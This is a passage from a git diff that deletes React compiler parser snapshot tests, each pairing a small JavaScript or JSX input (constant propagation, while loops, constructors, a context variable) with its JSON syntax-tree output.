-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  30,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              32
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                39,
-                40
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        48,
-                        49
-                      ]
-                    },
-                    "right": {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "NumericLiteral",
-                        "value": 2.0,
-                        "loc": null,
-                        "range": [
-                          52,
-                          53
-                        ]
-                      },
-                      "operator": "-",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        52,
-                        57
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      48,
-                      57
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    58
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                42,
-                62
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        75
-                      ]
-                    },
-                    "right": {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "NumericLiteral",
-                        "value": 0.0,
-                        "loc": null,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          82,
-                          83
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        78,
-                        83
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      74,
-                      83
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    84
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                68,
-                88
-              ]
-            },
-            "loc": null,
-            "range": [
-              35,
-              88
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  95,
-                  96
-                ]
-              },
-              "operator": "===",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  101,
-                  102
-                ]
-              },
-              "loc": null,
-              "range": [
-                95,
-                102
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      117,
-                      118
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    119
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                104,
-                123
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      142,
-                      143
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    135,
-                    144
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                129,
-                148
-              ]
-            },
-            "loc": null,
-            "range": [
-              91,
-              148
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          150
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        150
-      ],
-      "loc": null,
-      "range": [
-        0,
-        150
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    150
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-while.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-while.js.snap
deleted file mode 100644
index be4fd195fdb8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-while.js.snap
+++ /dev/null
@@ -1,241 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constant-propagation-while.js
----
-Input:
-function foo() {
-  let x = 100;
-  let y = 0;
-  while (x < 10) {
-    y += 1;
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 100.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    30
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  30
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              31
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    42,
-                    43
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  38,
-                  43
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              34,
-              44
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  54,
-                  55
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 10.0,
-                "loc": null,
-                "range": [
-                  58,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                54,
-                60
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        68,
-                        69
-                      ]
-                    },
-                    "right": {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      68,
-                      74
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    75
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                62,
-                79
-              ]
-            },
-            "loc": null,
-            "range": [
-              47,
-              79
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                89,
-                90
-              ]
-            },
-            "loc": null,
-            "range": [
-              82,
-              91
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          93
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        93
-      ],
-      "loc": null,
-      "range": [
-        0,
-        93
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    93
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation.js.snap
deleted file mode 100644
index 849fec3f1d8e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation.js.snap
+++ /dev/null
@@ -1,641 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constant-propagation.js
----
-Input:
-function foo() {
-  const a = 1;
-  const b = 2;
-  const c = 3;
-  const d = a + b;
-  const e = d * c;
-  const f = e / d;
-  const g = f - e;
-
-  if (g) {
-    console.log("foo");
-  }
-
-  const h = g;
-  const i = h;
-  const j = i;
-  return j;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  30
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              31
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  40,
-                  45
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              34,
-              46
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 3.0,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  60
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    70,
-                    71
-                  ]
-                },
-                "init": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      74,
-                      75
-                    ]
-                  },
-                  "operator": "+",
-                  "right": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      78,
-                      79
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    74,
-                    79
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  70,
-                  79
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              80
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "e",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    90
-                  ]
-                },
-                "init": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      93,
-                      94
-                    ]
-                  },
-                  "operator": "*",
-                  "right": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      97,
-                      98
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    93,
-                    98
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  89,
-                  98
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              83,
-              99
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "init": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "e",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      112,
-                      113
-                    ]
-                  },
-                  "operator": "/",
-                  "right": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      116,
-                      117
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    112,
-                    117
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  108,
-                  117
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              102,
-              118
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "g",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    127,
-                    128
-                  ]
-                },
-                "init": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "f",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      131,
-                      132
-                    ]
-                  },
-                  "operator": "-",
-                  "right": {
-                    "type": "Identifier",
-                    "name": "e",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      135,
-                      136
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    131,
-                    136
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  127,
-                  136
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              121,
-              137
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "g",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                145,
-                146
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "console",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          154,
-                          161
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "log",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          162,
-                          165
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        154,
-                        165
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "StringLiteral",
-                        "value": "foo",
-                        "loc": null,
-                        "range": [
-                          166,
-                          171
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      154,
-                      172
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    154,
-                    173
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                148,
-                177
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              141,
-              177
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "h",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    187,
-                    188
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "g",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    191,
-                    192
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  187,
-                  192
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              181,
-              193
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    202,
-                    203
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "h",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    206,
-                    207
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  202,
-                  207
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              196,
-              208
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "j",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    217,
-                    218
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    221,
-                    222
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  217,
-                  222
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              211,
-              223
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "j",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                233,
-                234
-              ]
-            },
-            "loc": null,
-            "range": [
-              226,
-              235
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          237
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        237
-      ],
-      "loc": null,
-      "range": [
-        0,
-        237
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    237
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constructor.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constructor.js.snap
deleted file mode 100644
index e17c904f1323..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constructor.js.snap
+++ /dev/null
@@ -1,478 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constructor.js
----
-Input:
-function Foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  new Foo(a, b);
-  let _ = <div a={a} />;
-  new Foo(b);
-  return <div a={a} b={b} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          15,
-          17
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        17
-      ],
-      "loc": null,
-      "range": [
-        0,
-        17
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          28,
-          37
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            38,
-            43
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    59,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              62
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    75,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "NewExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "Foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  85,
-                  88
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    89,
-                    90
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    92,
-                    93
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                81,
-                94
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              81,
-              95
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    103
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        107,
-                        110
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "a",
-                          "loc": null,
-                          "range": [
-                            111,
-                            112
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              114,
-                              115
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            113,
-                            116
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          111,
-                          116
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      106,
-                      119
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    119
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  102,
-                  119
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              98,
-              120
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "NewExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "Foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  127,
-                  130
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    131,
-                    132
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                123,
-                133
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              123,
-              134
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    145,
-                    148
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        149,
-                        150
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          152,
-                          153
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        151,
-                        154
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      149,
-                      154
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        155,
-                        156
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          158,
-                          159
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        157,
-                        160
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      155,
-                      160
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  144,
-                  163
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                144,
-                163
-              ]
-            },
-            "loc": null,
-            "range": [
-              137,
-              164
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          45,
-          166
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        19,
-        166
-      ],
-      "loc": null,
-      "range": [
-        19,
-        166
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    166
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@context-variable-reassigned-outside-of-lambda.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@context-variable-reassigned-outside-of-lambda.js.snap
deleted file mode 100644
index eb9c4d0091c5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@context-variable-reassigned-outside-of-lambda.js.snap
+++ /dev/null
@@ -1,349 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/context-variable-reassigned-outside-of-lambda.js
----
-Input:
-// @debug
-function Component(props) {
-  let x = null;
-  const onChange = (e) => {
-    console.log(x);
-  };
-  x = {};
-  return <Foo onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          28
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            34
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    48,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  44,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              40,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    70
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        74,
-                        75
